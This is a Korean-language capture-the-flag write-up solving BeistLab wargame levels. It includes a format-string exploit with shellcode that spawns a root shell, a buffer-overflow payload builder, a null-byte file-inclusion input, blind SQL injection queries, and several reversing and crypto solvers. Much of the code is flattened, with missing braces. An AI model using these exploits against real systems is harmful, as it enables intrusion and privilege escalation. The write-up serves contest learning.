The 5eX m2n 푼문제 : O O O X O X X O O X O O O O X O X O O O level1 : parse string Level1은 210:207.246.131 이라는 IP와 8888이라는포트번호가주어진다. 접속하여보면, base64로인코딩된스트링을보여주면서, Plain text를전송하라고한다. Base64된스트링을디코드해보면, beistlab 맴버들의 id가 md5로인코드된스트링들이나온다. 그럼으로다음과같은간단한코드를작성함으로써, 이문제는풀수있다. <? //Coded by Dual5651 (dual@null2root.org)
$ret = ""; $socket = fsockopen("210.207.246.131", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $decode = base64_decode($ret); echo $decode; if($decode == "305e8800b4272bb6a757c7e33c028023") fputs($socket, "eazy"); else if($decode == "44bea1375d673dacfa7038a2a6896ae6") fputs($socket,"hahah"); else if($decode == "1d8176708feb2bb6e4d67d7f08c50493") fputs($socket,"ashine"); else if($decode == "1d8176708feb2bb6e4d67d7f08c50493") fputs($socket,"ashine"); else if($decode == "5f29e63a3f26798930e5bf218445164f") fputs($socket,"osiris"); else if($decode == "a8241dc330c0353ccd8db73244c8bd30") fputs($socket,"oldzombie"); else if($decode == "c5dbbb22d4802b1bdc7a4f35875a280b") fputs($socket,"chpie"); else if($decode == "4e3590b079101462e2a11b163869c62e") fputs($socket,"reddog"); else if($decode == "8f3d0f3fd4a20a1c0f321bb17a6f9042") fputs($socket,"slayer1000"); else if($decode == "12ea7a85a8ad1216074590ce65542774") fputs($socket,"beist"); $ret =""; while(!feof($socket)) $ret.= fgets( $socket, 50 ); echo $ret;?>
level2 :??? level3 : fsb (format string bug) 이번문제는문제에서 argv[0] 을직접출력해주면서생기는 FSB 취약점을공격하는문제로써, 다음과같이 execve() 를이용해서 argv[0] 에쉘코드를넣어줌으로써해결할수있는문제이다. //lower : 1bfff-ff70=C08F(49295) //higher : ff70-328(808)=fc48(64584) int main(int argc,char **argv) int i=0; char buffer[1024]=""; unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //Nops "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90" "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid()) "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; sprintf(buffer,"%s%s",argv[1],shellcode); char *argvv[]=buffer,0; execve("/beistcon/filename/filename",argvv,0);
./f `perl -e 'print"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xbc\x95\x04\x08bbbb\xbe\x95\x04\x08ccccccbb bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";print"%8x"x90;print"%64584x%x%49295x%x"'` level5 : keyboard hooking 문제를실행시켜보면혜선이누나가뭔가불만에찬듯한표정의사진이나온다. Char str[] = CXHkPmIzEGKzEWYzSWNmIHFhFmFmYWZzYWRmYQ== ; Int i; if ( a3!= str[i] ) i = 0; goto WRONG; v5 = i + 2; i += 2; if ( v5 >= 25 ) sub_401220();
goto LABEL_8; 코드를보면 2 바이트씩변수를늘리면서글자를읽어오는것을볼수있다. 그래서올바른문자열을완성해보면, CHPIEKEYSNIFFFYZYRY== 이다. 이문자열을메모장에입력하여보면, level8 : file reverse 파일을헥스에디터로열어서보면, 앞부분은다음과같고,
가장아랫부분을보면문자열들이뒤집혀있는것같은모양을볼수있다. 그래서나는다음과같은간단한코드를작성함으로써, 파일을뒤집었다. int main(int argc, char* argv[]) //Coded by Dual5651 (dual@null2root.org) HANDLE hfile,hfile2; DWORD dsize; unsigned char *buffer; unsigned char *reverse; ULONG ovr; long p; hfile =
CreateFile("C:\\mirror.avi",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NO RMAL,0); printf("hfile : %d\n",hfile); dsize = GetFileSize(hFile,0); dsize -= 0x57; printf("file size : %d\n",dsize); SetFilePointer(hFile,0x57,0,FILE_BEGIN); buffer = (unsigned char *)malloc(dsize + 1); ReadFile(hFile,buffer,dsize,&ovr,0); reverse = (unsigned char *)malloc(dsize + 1); for(long i = 0; i <= dsize; i++) p = dsize - i; reverse[i] = buffer[p]; hfile2 = CreateFile("C:\\outter.avi",GENERIC_WRITE,FILE_SHARE_WRITE,0,OPEN_ALWAYS,FILE_ATTRIBUTE_N ORMAL,0); printf("hfile2 : %d\n",hfile2); SetFilePointer(hFile2,0x57,0,FILE_BEGIN); WriteFile(hFile2,reverse,dsize,&ovr,0); free(buffer); free(reverse); CloseHandle(hFile); CloseHandle(hFile2); getch(); return 0;
Before : After:
level9 : reverse engineering cube 문제의암호화루틴을분석해서 c 코드로표현하여보면다음과같다. for(int i = 0; i < strlen((char *)str) ; i++) chr = str[i]; chr2 = str[(unsigned)(&str[i] + 2 - (ULONG)str) % 13]; tmp = ((chr ^ chr2) + 104); tmp = tmp % 65; x = chr + tmp; encrypt[i] = chr ^ x; for(int k = 0; k < 15; k++) printf("%x ",encrypt[k]); printf("\n"); 다음코드를통해서알아낼수있는규칙은, 다음과같다. X1 Y1 X2 Y2 X3 Y3 X4 Y4 X5 Y5 X6 Y6 X7 X1 을알아냄으로써, x2 를알수있고, x2 를알아낼수있음로 x3 를알아낼수있다는것이다. Y 쪽도마찬가지이다. 이사실을기반으로 x1 과 y1 를특정키로가정함으로써, 나머지바이트 역시알아낼수있을것이다. 다음은이를위해작성해본간단한코드이다. //Coded by Dual5651 (dual@null2root.org) for(char m = 'A'; m < 'z'; m++) for(char n = 'A'; n < 'z'; n++) for(int j = 0; j < 11; j++)
chr = str[j]; x = enc[j] ^ chr; tmp = x - chr; tmp = tmp + 0x41; if(tmp < 0x68) tmp += 0x41; tmp = tmp - 0x68; chr2 = tmp ^ chr; str[(unsigned)(&str[j] + 2 - (ULONG)str) % 13] = chr2; for(int k = 0; k < 15; k++) printf("%c",str[k]); printf("\n"); str[1] = n; str[0] = m; 위의코드를실행시킴으로써, 가능한모든 x1 과 y1 의가정을가지고키스트림을얻어낸후, 그중에가장키처럼보이는것을찾아보니다음과같았다.
마우스메시지처리부를리버싱함으로써, 패스워드를볼수있다. level11 : local file view 이문제는접속하면, index.php 페이지에?file=test 이렇게되있던걸로기억합니다. 실제로 test를입력하면열어주는파일은 test.txt였습니다. 사용자가입력한값에.txt가붙기때문에원하는파일을열수없을거같지만, %00을뒤에붙임으로서원하는파일을열수있었습니다. 그럼으로다음과같은스트링을입력하였습니다.?file=index.php%00
level12 : reverse connect 문제에접속해서소스보기를하면나와있는포트를 nc l p 7777 이런식으로포트를자신의 컴퓨터에열어두면리버스커넥트를걸어와답을알려줍니다. admin/tjrwha fhtepqkqlzh level13 : blind sql injection 먼저멤버전용게시판에가보면, base64로여러번인코드된문자열을두개볼수있습니다. 하나는계속디코드하면, guest가나오고, 두번째것4a1429b036a53a86bb50ce22a88458ac 인데, 첫페이지에있는 new_menu2.jpg 의 name으로 hack_me라고붙어있더군요. 그래서스트링을긁어보니, 4a1429b036a53a86bb50ce22a88458ac = 0lDzOmBi2라는스트링을발견할수있었습니다. 그정보를가지고해당페이지에들어가니, notice.php?no=base64_encode( 문자열 ) 형태의 sql injection 취약점이존재하는페이지를만날수있었습니다. 다음과같은블라인드인젝션쿼리를사용해문제를공략하였습니다. 테이블명 : 1 and (select 1 from board limit 0,1)=1 콜롬명 : 1 and (select substring(concat(1,pass),1,1) from board limit 0,1)=1 1 and (select substring(concat(1,subject),1,1) from board limit 0,1)=1 1 and (select substring(concat(1,no),1,1) from board limit 0,1)=1 패스워드한글자씩뽑아내기 : 1 and 1=(select ascii(substring((select pass from board where no = 1 limit 1),1,1)) > 94) 1 and 1=(select ascii(substring((select pass from board where no = 1 limit 1),2,1)) > 94) 1 and 1=(select ascii(substring((select pass from board where no = 1 limit 1),3,1)) > 94) 95 95 55 53 57 56 53 50 7 5 9 8 5 2 level14 : vigenere chiper
이문제는고전암호화라는힌트가주어졌고, 사용자로부터 8개의키를입력받으며, 암호화된스트링이 BZKEGI,+EISB-VEFWNSML+OW-GLRX=FME. 라는점을볼수있습니다. 키를입력받는암호화방식의대표적인예로는 VIGENERE 암호화알고리즘이있습니다. VIGENERE 암호화알고리즘은키를순차적으로더해가는방식인데, 키가 8글자임으로암호화된문자열에서 8글자인부분을찾고, 그부분의원문을가정함으로써풀수있습니다. 암호화된문자열에서차례대로패스워드가들어가는것을보면, BZKEGI,+EISB-VEFWNSML+OW-GLRX=FME. 123456,+7812-34567812+34-5678=123. VEFWNSML 이부분을 PASSWORD 로가정해서다음과같은코드를돌려보았습니다. //Coded by Dual5651 (dual@null2root.org) char enc[9] = "VEFWNSML"; char dec[9] = "PASSWORD"; char key[9] =""; char encv[9] =""; char decv[9] =""; int main(int argc, char* argv[]) char sub; for(int i = 0; i < 8; i++) encv[i] = enc[i] - 'A'; decv[i] = dec[i] - 'A'; sub = encv[i] - decv[i]; if(sub < 0) sub += 26; key[i] = sub + 'A'; printf("password IS : "); printf("%c",key[6]);
printf("%c",key[7]); printf("%c",key[0]); printf("%c",key[1]); printf("%c",key[2]); printf("%c",key[3]); printf("%c",key[4]); printf("%c",key[5]); printf("\n"); getch(); return 0;
level16 : bof (buffer over flow) 16 번은프로그램이파일을읽어서 GET; 읽을사이즈 \n 내용을읽어서특정버퍼에복사하는 부분에서버퍼오버플로우가발생합니다. 이부분을공략하기위해다음과같은코드를사용할 수있습니다. ( 리턴주소는에그쉘입니다.) #include <stdio.h> Int main(int argc,char **argv) int i; char shellcode[2048]=0,; char dummy[2048]=0,; for(i=0;i<1028;i++) dummy[i]='a'+i%20; dummy[i+1]='\0'; sprintf(shellcode,"%s%s%s","get;10000\n",dummy,"\xe8\xf7\xff\xbf\xffaaaaaaaaaaaa\x00"); FILE *fp; fp = fopen("///tmp/attack", "w"); if(fp == NULL) return; fputs(shellcode, fp); fclose(fp); level18 : cryptography 이문제는처음엔숫자맞추기게임을해야한다. 이것을넘어가면프로그램이임의로만들어낸키를 Decode 해야한다. 암호화알고리즘을분석해서역함수를만들어보았다.
#include "stdafx.h" #include <string.h> #include <conio.h> #include <windows.h> int cdecl swap_bit(int a1) return (unsigned int8)((unsigned int8)((a1 & 0x38) >> 3) (unsigned int8)(8 * (a1 & 7))) (unsigned int8)(a1 & 0xC0); int main(int argc, char* argv[]) int tmp; char *str = "RBTOEnFcKADbLwFTF^"; char decrypted[100] = ""; int key = 663,key2; key2 = key & 0x3F; for(int i = 0; i <= strlen(str); i++) tmp = str[i] + 1; tmp = key2 ^ LOBYTE(tmp); decrypted[i] = swap_bit(tmp); printf("%s\n",decrypted); getch(); return 0; level19 : packet sniffing
level20 : nogada 이것은어떻게설명할방법이없습니다. 그냥노가다로키를바꿔가면서찾으면됩니다. 암호화된문자열의길이를알고있으니, 해당길이내에서만변화시키면서찾으면됩니다. @ye Perfect World of BeistLab